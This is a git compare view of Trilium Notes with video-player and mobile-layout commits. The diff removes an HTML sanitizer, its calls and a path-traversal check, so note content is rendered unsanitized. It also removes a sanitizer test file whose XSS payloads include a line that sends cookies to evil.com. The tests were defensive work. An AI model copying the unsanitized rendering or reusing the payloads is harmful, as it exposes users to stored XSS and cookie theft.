Compare commits

..

8 Commits

Author SHA1 Message Date
Elian Doran
2d63e2a00f feat(note_list): display files full-width on mobile 2026-03-21 10:29:57 +02:00
Elian Doran
5a16aa416f feat(video): improve layout on mobile 2026-03-21 10:20:19 +02:00
Elian Doran
df2a53e010 feat(video): group less common options into a dropdown menu 2026-03-21 10:15:22 +02:00
Elian Doran
4f08389f80 chore(video): use dropdown for volume control 2026-03-21 10:03:32 +02:00
Elian Doran
ff0fb4bcfd fix(video): styles not applied to note list 2026-03-21 09:59:43 +02:00
Elian Doran
5f410faaa9 fix(video): consume event to prevent clicking through it 2026-03-21 09:56:08 +02:00
Elian Doran
25bd9e8abd chore(video): use wrapperless rendering into note content 2026-03-21 09:54:17 +02:00
Elian Doran
301a1b2288 feat(video): basic integration into note list 2026-03-21 09:50:34 +02:00
77 changed files with 678 additions and 3038 deletions

View File

@@ -16,7 +16,7 @@
"license": "AGPL-3.0-only",
"packageManager": "pnpm@10.32.1",
"devDependencies": {
"@redocly/cli": "2.24.1",
"@redocly/cli": "2.24.0",
"archiver": "7.0.1",
"fs-extra": "11.3.4",
"js-yaml": "4.1.1",

View File

@@ -50,26 +50,25 @@
"clsx": "2.1.1",
"color": "5.0.3",
"debounce": "3.0.0",
"dompurify": "3.2.5",
"draggabilly": "3.0.0",
"force-graph": "1.51.2",
"globals": "17.4.0",
"i18next": "25.10.3",
"i18next": "25.8.18",
"i18next-http-backend": "3.0.2",
"jquery": "4.0.0",
"jquery.fancytree": "2.38.5",
"jsplumb": "2.15.6",
"katex": "0.16.40",
"katex": "0.16.39",
"leaflet": "1.9.4",
"leaflet-gpx": "2.2.0",
"mark.js": "8.11.1",
"marked": "17.0.5",
"marked": "17.0.4",
"mermaid": "11.13.0",
"mind-elixir": "5.9.3",
"normalize.css": "8.0.1",
"panzoom": "9.4.3",
"preact": "10.29.0",
"react-i18next": "16.6.0",
"react-i18next": "16.5.8",
"react-window": "2.2.7",
"reveal.js": "6.0.0",
"rrule": "2.8.1",

View File

@@ -8,6 +8,7 @@ import FAttachment from "../entities/fattachment.js";
import FNote from "../entities/fnote.js";
import imageContextMenuService from "../menus/image_context_menu.js";
import { t } from "../services/i18n.js";
import { renderReactWidget, renderReactWidgetAtElement } from "../widgets/react/react_utils";
import renderText from "./content_renderer_text.js";
import renderDoc from "./doc_renderer.js";
import { loadElkIfNeeded, postprocessMermaidSvg } from "./mermaid.js";
@@ -212,15 +213,16 @@ async function renderFile(entity: FNote | FAttachment, type: string, $renderedCo
$content.append($audioPreview);
} else if (type === "video") {
const $videoPreview = $("<video controls></video>")
.attr("src", openService.getUrlForDownload(`api/${entityType}/${entityId}/open-partial`))
.attr("type", entity.mime)
.css("width", "100%");
const url = openService.getUrlForDownload(`api/${entityType}/${entityId}/open-partial`);
const mime = entity.mime;
$content.append($videoPreview);
const VideoPreviewContent = (await import("../widgets/type_widgets/file/Video")).VideoPreviewContent;
const $viewer = renderReactWidget(null, h(VideoPreviewContent, { url, mime }));
$content.append($viewer);
}
if (entityType === "notes" && "noteId" in entity) {
if (entityType === "notes" && "noteId" in entity && type !== "video") {
// TODO: we should make this available also for attachments, but there's a problem with "Open externally" support
// in attachment list
const $downloadButton = $(`

View File

@@ -5,7 +5,6 @@ import froca from "./froca.js";
import link from "./link.js";
import { renderMathInElement } from "./math.js";
import { getMermaidConfig } from "./mermaid.js";
import { sanitizeNoteContentHtml } from "./sanitize_content.js";
import { formatCodeBlocks } from "./syntax_highlight.js";
import tree from "./tree.js";
import { isHtmlEmpty } from "./utils.js";
@@ -15,7 +14,7 @@ export default async function renderText(note: FNote | FAttachment, $renderedCon
const blob = await note.getBlob();
if (blob && !isHtmlEmpty(blob.content)) {
$renderedContent.append($('<div class="ck-content">').html(sanitizeNoteContentHtml(blob.content)));
$renderedContent.append($('<div class="ck-content">').html(blob.content));
const seenNoteIds = options.seenNoteIds ?? new Set<string>();
seenNoteIds.add("noteId" in note ? note.noteId : note.attachmentId);

View File

@@ -9,15 +9,6 @@ export default function renderDoc(note: FNote) {
const $content = $("<div>");
if (docName) {
// Sanitize docName to prevent path traversal attacks (e.g.,
// "../../../../api/notes/_malicious/open?x=" escaping doc_notes).
docName = sanitizeDocName(docName);
if (!docName) {
console.warn("Blocked potentially malicious docName attribute value.");
resolve($content);
return;
}
// find doc based on language
const url = getUrl(docName, getCurrentLanguage());
$content.load(url, async (response, status) => {
@@ -57,31 +48,6 @@ async function processContent(url: string, $content: JQuery<HTMLElement>) {
await applyReferenceLinks($content[0]);
}
function sanitizeDocName(docNameValue: string): string | null {
// Strip any path traversal sequences and dangerous URL characters.
// Legitimate docName values are simple paths like "User Guide/Topic" or
// "launchbar_intro" — they only contain alphanumeric chars, underscores,
// hyphens, spaces, and forward slashes for subdirectories.
// Reject values containing path traversal (../, ..\) or URL control
// characters (?, #, :, @) that could be used to escape the doc_notes
// directory or manipulate the resulting URL.
if (/\.\.|[?#:@\\]/.test(docNameValue)) {
return null;
}
// Remove any leading slashes to prevent absolute path construction.
docNameValue = docNameValue.replace(/^\/+/, "");
// After stripping, ensure only safe characters remain:
// alphanumeric, spaces, underscores, hyphens, forward slashes, and periods
// (periods are allowed for filenames but .. was already rejected above).
if (!/^[a-zA-Z0-9 _\-/.']+$/.test(docNameValue)) {
return null;
}
return docNameValue;
}
function getUrl(docNameValue: string, language: string) {
// Cannot have spaces in the URL due to how JQuery.load works.
docNameValue = docNameValue.replaceAll(" ", "%20");

View File

@@ -5,7 +5,6 @@ import contentRenderer from "./content_renderer.js";
import froca from "./froca.js";
import { t } from "./i18n.js";
import linkService from "./link.js";
import { sanitizeNoteContentHtml } from "./sanitize_content.js";
import treeService from "./tree.js";
import utils from "./utils.js";
@@ -93,9 +92,8 @@ async function mouseEnterHandler<T>(this: HTMLElement, e: JQuery.TriggeredEvent<
return;
}
const sanitizedContent = sanitizeNoteContentHtml(content);
const html = `<div class="note-tooltip-content">${sanitizedContent}</div>`;
const tooltipClass = `tooltip-${Math.floor(Math.random() * 999_999_999)}`;
const html = `<div class="note-tooltip-content">${content}</div>`;
const tooltipClass = `tooltip-${ Math.floor(Math.random() * 999_999_999)}`;
// we need to check if we're still hovering over the element
// since the operation to get tooltip content was async, it is possible that
@@ -112,8 +110,6 @@ async function mouseEnterHandler<T>(this: HTMLElement, e: JQuery.TriggeredEvent<
title: html,
html: true,
template: `<div class="tooltip note-tooltip ${tooltipClass}" role="tooltip"><div class="arrow"></div><div class="tooltip-inner"></div></div>`,
// Content is pre-sanitized via DOMPurify so Bootstrap's built-in sanitizer
// (which is too aggressive for our rich-text content) can be disabled.
sanitize: false,
customClass: linkId
});

View File

@@ -1,236 +0,0 @@
import { describe, expect, it } from "vitest";
import { sanitizeNoteContentHtml } from "./sanitize_content";
describe("sanitizeNoteContentHtml", () => {
// --- Preserves legitimate CKEditor content ---
it("preserves basic rich text formatting", () => {
const html = '<p><strong>Bold</strong> and <em>italic</em> text</p>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves headings", () => {
const html = '<h1>Title</h1><h2>Subtitle</h2><h3>Section</h3>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves links with href", () => {
const html = '<a href="https://example.com">Link</a>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves internal note links with data attributes", () => {
const html = '<a class="reference-link" href="#root/abc123" data-note-path="root/abc123">My Note</a>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('class="reference-link"');
expect(result).toContain('href="#root/abc123"');
expect(result).toContain('data-note-path="root/abc123"');
expect(result).toContain(">My Note</a>");
});
it("preserves images with src", () => {
const html = '<img src="api/images/abc123/image.png" alt="test">';
expect(sanitizeNoteContentHtml(html)).toContain('src="api/images/abc123/image.png"');
});
it("preserves tables", () => {
const html = '<table><thead><tr><th>Header</th></tr></thead><tbody><tr><td>Cell</td></tr></tbody></table>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves code blocks", () => {
const html = '<pre><code class="language-javascript">const x = 1;</code></pre>';
expect(sanitizeNoteContentHtml(html)).toBe(html);
});
it("preserves include-note sections with data-note-id", () => {
const html = '<section class="include-note" data-note-id="abc123">&nbsp;</section>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('class="include-note"');
expect(result).toContain('data-note-id="abc123"');
expect(result).toContain("&nbsp;</section>");
});
it("preserves figure and figcaption", () => {
const html = '<figure><img src="test.png"><figcaption>Caption</figcaption></figure>';
expect(sanitizeNoteContentHtml(html)).toContain("<figure>");
expect(sanitizeNoteContentHtml(html)).toContain("<figcaption>");
});
it("preserves task list checkboxes", () => {
const html = '<ul><li><input type="checkbox" checked disabled>Task done</li></ul>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('type="checkbox"');
expect(result).toContain("checked");
});
it("preserves inline styles for colors", () => {
const html = '<span style="color: red;">Red text</span>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain("style");
expect(result).toContain("color");
});
it("preserves data-* attributes", () => {
const html = '<div data-custom-attr="value" data-note-id="abc">Content</div>';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain('data-custom-attr="value"');
expect(result).toContain('data-note-id="abc"');
});
// --- Blocks XSS vectors ---
it("strips script tags", () => {
const html = '<p>Hello</p><script>alert("XSS")</script><p>World</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("alert");
expect(result).toContain("<p>Hello</p>");
expect(result).toContain("<p>World</p>");
});
it("strips onerror event handlers on images", () => {
const html = '<img src="x" onerror="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onerror");
expect(result).not.toContain("alert");
});
it("strips onclick event handlers", () => {
const html = '<div onclick="alert(1)">Click me</div>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onclick");
expect(result).not.toContain("alert");
});
it("strips onload event handlers", () => {
const html = '<img src="x" onload="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onload");
expect(result).not.toContain("alert");
});
it("strips onmouseover event handlers", () => {
const html = '<span onmouseover="alert(1)">Hover</span>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onmouseover");
expect(result).not.toContain("alert");
});
it("strips onfocus event handlers", () => {
const html = '<input onfocus="alert(1)" autofocus>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onfocus");
expect(result).not.toContain("alert");
});
it("strips javascript: URIs in href", () => {
const html = '<a href="javascript:alert(1)">Click</a>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("javascript:");
});
it("strips javascript: URIs in img src", () => {
const html = '<img src="javascript:alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("javascript:");
});
it("strips iframe tags", () => {
const html = '<iframe src="https://evil.com"></iframe>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<iframe");
});
it("strips object tags", () => {
const html = '<object data="evil.swf"></object>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<object");
});
it("strips embed tags", () => {
const html = '<embed src="evil.swf">';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<embed");
});
it("strips style tags", () => {
const html = '<style>body { background: url("javascript:alert(1)") }</style><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<style");
expect(result).toContain("<p>Text</p>");
});
it("strips SVG with embedded script", () => {
const html = '<svg><script>alert(1)</script></svg>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("alert");
});
it("strips meta tags", () => {
const html = '<meta http-equiv="refresh" content="0;url=evil.com"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<meta");
});
it("strips base tags", () => {
const html = '<base href="https://evil.com/"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<base");
});
it("strips link tags", () => {
const html = '<link rel="stylesheet" href="evil.css"><p>Text</p>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<link");
});
// --- Edge cases ---
it("handles empty string", () => {
expect(sanitizeNoteContentHtml("")).toBe("");
});
it("handles null-like falsy values", () => {
expect(sanitizeNoteContentHtml(null as unknown as string)).toBe(null);
expect(sanitizeNoteContentHtml(undefined as unknown as string)).toBe(undefined);
});
it("handles nested XSS attempts", () => {
const html = '<div><p>Safe</p><img src=x onerror="fetch(\'https://evil.com/?c=\'+document.cookie)"><p>Also safe</p></div>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("onerror");
expect(result).not.toContain("fetch");
expect(result).not.toContain("cookie");
expect(result).toContain("Safe");
expect(result).toContain("Also safe");
});
it("handles case-varied event handlers", () => {
const html = '<img src="x" ONERROR="alert(1)">';
const result = sanitizeNoteContentHtml(html);
expect(result.toLowerCase()).not.toContain("onerror");
});
it("strips dangerous data: URI on anchor elements", () => {
const html = '<a href="data:text/html,<script>alert(1)</script>">Click</a>';
const result = sanitizeNoteContentHtml(html);
// DOMPurify should either strip the href or remove the dangerous content
expect(result).not.toContain("<script");
expect(result).not.toContain("alert(1)");
});
it("allows data: URI on image elements", () => {
const html = '<img src="data:image/png;base64,iVBOR...">';
const result = sanitizeNoteContentHtml(html);
expect(result).toContain("data:image/png");
});
it("strips template tags which could contain scripts", () => {
const html = '<template><script>alert(1)</script></template>';
const result = sanitizeNoteContentHtml(html);
expect(result).not.toContain("<script");
expect(result).not.toContain("<template");
});
});

View File

@@ -1,161 +0,0 @@
/**
* Client-side HTML sanitization for note content rendering.
*
* This module provides sanitization of HTML content before it is injected into
* the DOM, preventing stored XSS attacks. Content written through non-CKEditor
* paths (Internal API, ETAPI, Sync) may contain malicious scripts, event
* handlers, or other XSS vectors that must be stripped before rendering.
*
* Uses DOMPurify, a well-audited XSS sanitizer that is already a transitive
* dependency of this project (via mermaid).
*
* The configuration is intentionally permissive for rich-text formatting
* (bold, italic, headings, tables, images, links, etc.) while blocking
* script execution vectors (script tags, event handlers, javascript: URIs,
* data: URIs on non-image elements, etc.).
*/
import DOMPurify from "dompurify";
/**
* Tags allowed in sanitized note content. This mirrors the server-side
* SANITIZER_DEFAULT_ALLOWED_TAGS from @triliumnext/commons plus additional
* tags needed for CKEditor content rendering (e.g. <section> for included
* notes, <figure>/<figcaption> for images and tables).
*
* Notably absent: <script>, <style>, <iframe>, <object>, <embed>, <form>,
* <input> (except checkbox via specific attribute allowance), <link>, <meta>.
*/
const ALLOWED_TAGS = [
// Headings
"h1", "h2", "h3", "h4", "h5", "h6",
// Block elements
"blockquote", "p", "div", "pre", "section", "article", "aside",
"header", "footer", "hgroup", "main", "nav", "address", "details", "summary",
// Lists
"ul", "ol", "li", "dl", "dt", "dd", "menu",
// Inline formatting
"a", "b", "i", "strong", "em", "strike", "s", "del", "ins",
"abbr", "code", "kbd", "mark", "q", "time", "var", "wbr",
"small", "sub", "sup", "big", "tt", "samp", "dfn", "bdi", "bdo",
"cite", "acronym", "data", "rp",
// Tables
"table", "thead", "caption", "tbody", "tfoot", "tr", "th", "td",
"col", "colgroup",
// Media
"img", "figure", "figcaption", "video", "audio", "picture",
"area", "map", "track",
// Separators
"hr", "br",
// Interactive (limited)
"label", "input",
// Other
"span",
// CKEditor specific
"en-media"
];
/**
* Attributes allowed on sanitized elements. DOMPurify uses a flat list
* of allowed attribute names that apply to all elements.
*/
const ALLOWED_ATTR = [
// Common
"class", "style", "title", "id", "dir", "lang", "tabindex",
"spellcheck", "translate", "hidden",
// Links
"href", "target", "rel",
// Images & media
"src", "alt", "width", "height", "loading", "srcset", "sizes",
"controls", "autoplay", "loop", "muted", "preload", "poster",
// Data attributes (CKEditor uses these extensively)
// DOMPurify allows data-* by default when ADD_ATTR includes them
// Tables
"colspan", "rowspan", "scope", "headers",
// Input (for checkboxes in task lists)
"type", "checked", "disabled",
// Misc
"align", "valign", "center",
"open", // for <details>
"datetime", // for <time>, <del>, <ins>
"cite" // for <blockquote>, <del>, <ins>
];
/**
* URI-safe protocols allowed in href/src attributes.
* Blocks javascript:, vbscript:, and other dangerous schemes.
*/
// Note: data: is intentionally omitted here; it is handled via ADD_DATA_URI_TAGS
// which restricts data: URIs to only <img> elements.
const ALLOWED_URI_REGEXP = /^(?:(?:https?|ftps?|mailto|evernote|file|gemini|git|gopher|irc|irc6|jabber|magnet|sftp|skype|sms|spotify|steam|svn|tel|smb|zotero|geo|obsidian|logseq|onenote|slack):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i;
/**
* DOMPurify configuration for sanitizing note content.
*/
const PURIFY_CONFIG: DOMPurify.Config = {
ALLOWED_TAGS,
ALLOWED_ATTR,
ALLOWED_URI_REGEXP,
// Allow data-* attributes (used extensively by CKEditor)
ADD_ATTR: ["data-note-id", "data-note-path", "data-href", "data-language",
"data-value", "data-box-type", "data-link-id", "data-no-context-menu"],
// Do not allow <style> or <script> tags
FORBID_TAGS: ["script", "style", "iframe", "object", "embed", "link", "meta",
"base", "noscript", "template"],
// Do not allow event handler attributes
FORBID_ATTR: ["onerror", "onload", "onclick", "onmouseover", "onfocus",
"onblur", "onsubmit", "onreset", "onchange", "oninput",
"onkeydown", "onkeyup", "onkeypress", "onmousedown",
"onmouseup", "onmousemove", "onmouseout", "onmouseenter",
"onmouseleave", "ondblclick", "oncontextmenu", "onwheel",
"ondrag", "ondragend", "ondragenter", "ondragleave",
"ondragover", "ondragstart", "ondrop", "onscroll",
"oncopy", "oncut", "onpaste", "onanimationend",
"onanimationiteration", "onanimationstart",
"ontransitionend", "onpointerdown", "onpointerup",
"onpointermove", "onpointerover", "onpointerout",
"onpointerenter", "onpointerleave", "ontouchstart",
"ontouchend", "ontouchmove", "ontouchcancel"],
// Allow data: URIs only for images (needed for inline images)
ADD_DATA_URI_TAGS: ["img"],
// Return a string
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false,
// Keep the document structure intact
WHOLE_DOCUMENT: false,
// Allow target attribute on links
ADD_TAGS: []
};
// Configure a DOMPurify hook to handle data-* attributes more broadly
// since CKEditor uses many custom data attributes.
DOMPurify.addHook("uponSanitizeAttribute", (node, data) => {
// Allow all data-* attributes
if (data.attrName.startsWith("data-")) {
data.forceKeepAttr = true;
}
});
/**
* Sanitizes HTML content for safe rendering in the DOM.
*
* This function should be called on all user-provided HTML content before
* inserting it into the DOM via dangerouslySetInnerHTML, jQuery .html(),
* or Element.innerHTML.
*
* The sanitizer preserves rich-text formatting produced by CKEditor
* (bold, italic, links, tables, images, code blocks, etc.) while
* stripping XSS vectors (script tags, event handlers, javascript: URIs).
*
* @param dirtyHtml - The untrusted HTML string to sanitize.
* @returns A sanitized HTML string safe for DOM insertion.
*/
export function sanitizeNoteContentHtml(dirtyHtml: string): string {
if (!dirtyHtml) {
return dirtyHtml;
}
return DOMPurify.sanitize(dirtyHtml, PURIFY_CONFIG) as string;
}
export default {
sanitizeNoteContentHtml
};

View File

@@ -1,6 +1,6 @@
{
"about": {
"title": "Σχετικά με το Trilium Notes",
"title": "Πληροφορίες για το Trilium Notes",
"homepage": "Αρχική Σελίδα:",
"app_version": "Έκδοση εφαρμογής:",
"db_version": "Έκδοση βάσης δεδομένων:",

View File

@@ -1042,6 +1042,7 @@
"pause": "Pause (Space)",
"back-10s": "Back 10s (Left arrow key)",
"forward-30s": "Forward 30s",
"volume": "Volume",
"mute": "Mute (M)",
"unmute": "Unmute (M)",
"playback-speed": "Playback speed",
@@ -1054,7 +1055,8 @@
"exit-fullscreen": "Exit fullscreen",
"unsupported-format": "Media preview is not available for this file format:\n{{mime}}",
"zoom-to-fit": "Zoom to fill",
"zoom-reset": "Reset zoom to fill"
"zoom-reset": "Reset zoom to fill",
"more-options": "More options"
},
"protected_session": {
"enter_password_instruction": "Showing protected note requires entering your password:",

View File

@@ -1180,8 +1180,7 @@
"is_owned_by_note": "ノートによって所有されています",
"and_more": "...その他 {{count}} 件。",
"print_landscape": "PDF にエクスポートするときに、ページの向きを縦向きではなく横向きに変更します。",
"print_page_size": "PDF にエクスポートするときに、ページのサイズを変更します。サポートされる値: <code>A0</code>, <code>A1</code>, <code>A2</code>, <code>A3</code>, <code>A4</code>, <code>A5</code>, <code>A6</code>, <code>Legal</code>, <code>Letter</code>, <code>Tabloid</code>, <code>Ledger</code>。",
"textarea": "複数行テキスト"
"print_page_size": "PDF にエクスポートするときに、ページのサイズを変更します。サポートされる値: <code>A0</code>, <code>A1</code>, <code>A2</code>, <code>A3</code>, <code>A4</code>, <code>A5</code>, <code>A6</code>, <code>Legal</code>, <code>Letter</code>, <code>Tabloid</code>, <code>Ledger</code>。"
},
"link_context_menu": {
"open_note_in_popup": "クイック編集",

View File

@@ -446,8 +446,7 @@
"app_theme_base": "設定為 \"next\"、\"next-light \" 或 \"next-dark\",以使用相應的 TriliumNext 主題(自動、淺色或深色)作為自訂主題的基礎,而非傳統主題。",
"print_landscape": "匯出為 PDF 時,將頁面方向更改為橫向而非縱向。",
"print_page_size": "在匯出 PDF 時更改頁面大小。支援的值:<code>A0</code>、<code>A1</code>、<code>A2</code>、<code>A3</code>、<code>A4</code>、<code>A5</code>、<code>A6</code>、<code>Legal</code>、<code>Letter</code>、<code>Tabloid</code>、<code>Ledger</code>。",
"color_type": "顏色",
"textarea": "多行文字"
"color_type": "顏色"
},
"attribute_editor": {
"help_text_body1": "要新增標籤,只需輸入例如 <code>#rock</code> 或者如果您還想新增值,則例如 <code>#year = 2020</code>",
@@ -2183,52 +2182,5 @@
},
"setup_form": {
"more_info": "了解更多"
},
"media": {
"play": "播放 (空白鍵)",
"pause": "暫停 (空白鍵)",
"back-10s": "往前 10 秒 (左方向鍵)",
"forward-30s": "往後 30 秒",
"mute": "靜音 (M)",
"unmute": "解除靜音 (M)",
"playback-speed": "播放速度",
"loop": "循環",
"disable-loop": "解除循環",
"rotate": "旋轉",
"picture-in-picture": "畫中畫",
"exit-picture-in-picture": "退出畫中畫",
"fullscreen": "全螢幕 (F)",
"exit-fullscreen": "退出全螢幕",
"unsupported-format": "此檔案格式不支援媒體預覽:\n{{mime}}",
"zoom-to-fit": "放大至填滿畫面",
"zoom-reset": "重設放大至填滿畫面"
},
"mermaid": {
"placeholder": "請輸入您的美人魚圖表內容,或選用下方其中一個範例圖表。",
"sample_diagrams": "範例圖表:",
"sample_flowchart": "流程圖",
"sample_class": "階層圖",
"sample_sequence": "時序圖",
"sample_entity_relationship": "實體關係圖",
"sample_state": "狀態圖",
"sample_mindmap": "心智圖",
"sample_architecture": "架構圖",
"sample_block": "區塊圖",
"sample_c4": "C4 圖",
"sample_gantt": "甘特圖",
"sample_git": "Git 分支圖",
"sample_kanban": "看板圖",
"sample_packet": "數據包圖",
"sample_pie": "圓餅圖",
"sample_quadrant": "象限圖",
"sample_radar": "雷達圖",
"sample_requirement": "需求圖",
"sample_sankey": "桑基圖",
"sample_timeline": "時間軸",
"sample_treemap": "樹狀圖",
"sample_user_journey": "用戶旅程",
"sample_xy": "XY 圖表",
"sample_venn": "韋恩圖",
"sample_ishikawa": "魚骨圖"
}
}

View File

@@ -12,6 +12,11 @@
display: flex;
flex-wrap: wrap;
gap: 10px;
body.mobile & {
display: grid;
grid-template-columns: 1fr 1fr;
}
}
.note-list-bottom-pager {
@@ -269,8 +274,9 @@
overflow: hidden;
user-select: none;
body.mobile & {
flex-basis: 150px;
body.mobile &.mobile-full-width {
grid-column-start: 1;
grid-column-end: 3;
}
&:hover {

View File

@@ -1,25 +1,25 @@
import "./ListOrGridView.css";
import { Card, CardFrame, CardSection } from "../../react/Card";
import { clsx } from "clsx";
import { ComponentChildren, TargetedMouseEvent } from "preact";
import { useCallback, useEffect, useRef, useState } from "preact/hooks";
import { JSX } from "preact/jsx-runtime";
import FNote from "../../../entities/fnote";
import linkContextMenuService from "../../../menus/link_context_menu";
import attribute_renderer from "../../../services/attribute_renderer";
import content_renderer from "../../../services/content_renderer";
import { t } from "../../../services/i18n";
import link from "../../../services/link";
import CollectionProperties from "../../note_bars/CollectionProperties";
import ActionButton from "../../react/ActionButton";
import { Card, CardFrame, CardSection } from "../../react/Card";
import { useImperativeSearchHighlighlighting, useNoteLabel, useNoteLabelBoolean, useNoteProperty } from "../../react/hooks";
import Icon from "../../react/Icon";
import NoteLink from "../../react/NoteLink";
import { ViewModeProps } from "../interface";
import { Pager, usePagination, PaginationContext } from "../Pagination";
import { Pager, PaginationContext,usePagination } from "../Pagination";
import { filterChildNotes, useFilteredNoteIds } from "./utils";
import { JSX } from "preact/jsx-runtime";
import { clsx } from "clsx";
import ActionButton from "../../react/ActionButton";
import linkContextMenuService from "../../../menus/link_context_menu";
import { ComponentChildren, TargetedMouseEvent } from "preact";
const contentSizeObserver = new ResizeObserver(onContentResized);
@@ -53,13 +53,13 @@ export function GridView({ note, noteIds: unfilteredNoteIds, highlightedTokens }
<div className={clsx("note-list-container use-tn-links", {"search-results": (noteType === "search")})}>
{pageNotes?.map(childNote => (
<GridNoteCard key={childNote.noteId}
note={childNote}
parentNote={note}
highlightedTokens={highlightedTokens}
includeArchived={includeArchived} />
note={childNote}
parentNote={note}
highlightedTokens={highlightedTokens}
includeArchived={includeArchived} />
))}
</div>
</NoteList>
</NoteList>;
}
interface NoteListProps {
@@ -82,13 +82,13 @@ function NoteList(props: NoteListProps) {
{props.noteIds.length > 0 && <div className="note-list-wrapper">
{!hasCollectionProperties && <Pager {...props.pagination} />}
{props.children}
<Pager className="note-list-bottom-pager" {...props.pagination} />
</div>}
</div>
</div>;
}
function ListNoteCard({ note, parentNote, highlightedTokens, currentLevel, expandDepth, includeArchived }: {
@@ -106,25 +106,25 @@ function ListNoteCard({ note, parentNote, highlightedTokens, currentLevel, expan
// Reset expand state if switching to another note, or if user manually toggled expansion state.
useEffect(() => setExpanded(currentLevel <= expandDepth), [ note, currentLevel, expandDepth ]);
let subSections: JSX.Element | undefined = undefined;
let subSections: JSX.Element | undefined;
if (isExpanded) {
subSections = <>
<CardSection className="note-content-preview">
<NoteContent note={note}
highlightedTokens={highlightedTokens}
noChildrenList
includeArchivedNotes={includeArchived} />
highlightedTokens={highlightedTokens}
noChildrenList
includeArchivedNotes={includeArchived} />
</CardSection>
<NoteChildren note={note}
parentNote={parentNote}
highlightedTokens={highlightedTokens}
currentLevel={currentLevel}
expandDepth={expandDepth}
includeArchived={includeArchived} />
</>
parentNote={parentNote}
highlightedTokens={highlightedTokens}
currentLevel={currentLevel}
expandDepth={expandDepth}
includeArchived={includeArchived} />
</>;
}
return (
<CardSection
className={clsx("nested-note-list-item", "no-tooltip-preview", note.getColorClass(), {
@@ -137,14 +137,14 @@ function ListNoteCard({ note, parentNote, highlightedTokens, currentLevel, expan
data-note-id={note.noteId}
>
<h5>
<span className={`note-expander ${isExpanded ? "bx bx-chevron-down" : "bx bx-chevron-right"}`}
onClick={() => setExpanded(!isExpanded)}/>
<span className={`note-expander ${isExpanded ? "bx bx-chevron-down" : "bx bx-chevron-right"}`}
onClick={() => setExpanded(!isExpanded)}/>
<Icon className="note-icon" icon={note.getIcon()} />
<NoteLink className="note-book-title"
notePath={notePath}
noPreview
showNotePath={parentNote.type === "search"}
highlightedTokens={highlightedTokens} />
notePath={notePath}
noPreview
showNotePath={parentNote.type === "search"}
highlightedTokens={highlightedTokens} />
<NoteAttributes note={note} />
<NoteMenuButton notePath={notePath} />
</h5>
@@ -164,27 +164,28 @@ function GridNoteCard(props: GridNoteCardProps) {
return (
<CardFrame className={clsx("note-book-card", "no-tooltip-preview", "block-link", props.note.getColorClass(), {
"archived": props.note.isArchived
})}
data-href={`#${notePath}`}
data-note-id={props.note.noteId}
onClick={(e) => link.goToLink(e)}
"archived": props.note.isArchived,
"mobile-full-width": props.note.type === "file"
})}
data-href={`#${notePath}`}
data-note-id={props.note.noteId}
onClick={(e) => link.goToLink(e)}
>
<h5 className={clsx("note-book-header")}>
<Icon className="note-icon" icon={props.note.getIcon()} />
<NoteLink className="note-book-title"
notePath={notePath}
noPreview
showNotePath={props.parentNote.type === "search"}
highlightedTokens={props.highlightedTokens}
notePath={notePath}
noPreview
showNotePath={props.parentNote.type === "search"}
highlightedTokens={props.highlightedTokens}
/>
{!props.note.isOptions() && <NoteMenuButton notePath={notePath} />}
</h5>
<NoteContent note={props.note}
trim
highlightedTokens={props.highlightedTokens}
includeArchivedNotes={props.includeArchived}
trim
highlightedTokens={props.highlightedTokens}
includeArchivedNotes={props.includeArchived}
/>
</CardFrame>
);
@@ -222,7 +223,7 @@ export function NoteContent({ note, trim, noChildrenList, highlightedTokens, inc
return () => {
contentSizeObserver.unobserve(contentElement);
}
};
}, []);
useEffect(() => {
@@ -281,13 +282,13 @@ function NoteChildren({ note, parentNote, highlightedTokens, currentLevel, expan
function NoteMenuButton(props: {notePath: string}) {
const openMenu = useCallback((e: TargetedMouseEvent<HTMLElement>) => {
linkContextMenuService.openContextMenu(props.notePath, e);
e.stopPropagation()
e.stopPropagation();
}, [props.notePath]);
return <ActionButton className="note-book-item-menu"
icon="bx bx-dots-vertical-rounded" text=""
onClick={openMenu}
/>
icon="bx bx-dots-vertical-rounded" text=""
onClick={openMenu}
/>;
}
function getNotePath(parentNote: FNote, childNote: FNote) {
@@ -315,7 +316,7 @@ function useExpansionDepth(note: FNote) {
function onContentResized(entries: ResizeObserverEntry[], observer: ResizeObserver): void {
for (const contentElement of entries) {
const isOverflowing = ((contentElement.target.scrollHeight > contentElement.target.clientHeight))
const isOverflowing = ((contentElement.target.scrollHeight > contentElement.target.clientHeight));
contentElement.target.classList.toggle("note-book-content-overflowing", isOverflowing);
}
}
}

View File

@@ -4,7 +4,6 @@ import type FNote from "../../../entities/fnote";
import type { PrintReport } from "../../../print";
import content_renderer from "../../../services/content_renderer";
import froca from "../../../services/froca";
